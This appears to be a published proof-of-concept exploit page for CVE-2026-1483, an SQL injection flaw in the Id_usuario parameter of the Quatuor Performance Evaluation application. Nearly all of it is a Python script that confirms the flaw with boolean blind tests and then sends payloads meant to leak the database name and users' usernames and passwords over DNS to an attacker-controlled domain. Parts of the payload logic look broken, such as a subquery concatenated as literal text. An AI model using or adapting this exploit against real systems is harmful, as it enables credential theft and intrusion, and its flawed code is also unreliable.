CVE-2026-1483: Quatuor绩效评估应用Id_usuario参数OOB SQL注入漏洞

import requests import sys # CVE-2026-1483 OOB SQL Injection PoC # Target: Quatuor Performance Evaluation (EDD) application # Endpoint: /evaluacion_objetivos_ver_auto.aspx # Vulnerable Parameter: Id_usuario TARGET_URL = "http://target.com/evaluacion_objetivos_ver_auto.aspx" ATTACKER_DOMAIN = "attacker.com" # Attacker controlled DNS server def extract_via_dns(payload, target_domain): """ OOB SQL injection via DNS exfiltration The database will try to resolve the domain, leaking data in DNS queries """ # Payload construction for MySQL/MariaDB # Using LOAD_FILE + UNC path for DNS exfiltration sql_payload = f"1' AND (SELECT LOAD_FILE(CONCAT('\\\\\\\\\\\\\\\\{payload}.{target_domain}\\\\\\test')))--" params = { 'Id_usuario': sql_payload } try: response = requests.get(TARGET_URL, params=params, timeout=10) return response.status_code except requests.exceptions.RequestException as e: print(f"Request failed: {e}") return None def extract_database_name(): """ Extract current database name via DNS exfiltration """ payload = "(SELECT DATABASE())" print(f"[*] Extracting database name...") extract_via_dns(payload, ATTACKER_DOMAIN) def extract_user_table(): """ Extract data from users table """ payload = "(SELECT GROUP_CONCAT(username,0x3a,password) FROM users)" print(f"[*] Extracting user credentials...") extract_via_dns(payload, ATTACKER_DOMAIN) def boolean_blind_check(): """ Verify vulnerability existence via boolean blind injection """ # True condition - should return normal response true_payload = "1' AND 1=1--" # False condition - should return different response false_payload = "1' AND 1=2--" print("[*] Checking vulnerability with boolean blind test...") try: r1 = requests.get(TARGET_URL, params={'Id_usuario': true_payload}) r2 = requests.get(TARGET_URL, params={'Id_usuario': false_payload}) if r1.status_code != r2.status_code or r1.text != r2.text: print("[+] Vulnerability confirmed!") return True else: print("[-] Vulnerability check inconclusive") return False except Exception as e: print(f"[-] Error during check: {e}") return False if __name__ == "__main__": print("=" * 50) print("CVE-2026-1483 OOB SQL Injection PoC") print("Target: Quatuor Performance Evaluation EDD App") print("=" * 50) if boolean_blind_check(): print("\n[*] Starting data exfiltration via DNS...") extract_database_name() extract_user_table() print("\n[!] Check DNS logs on attacker server for leaked data")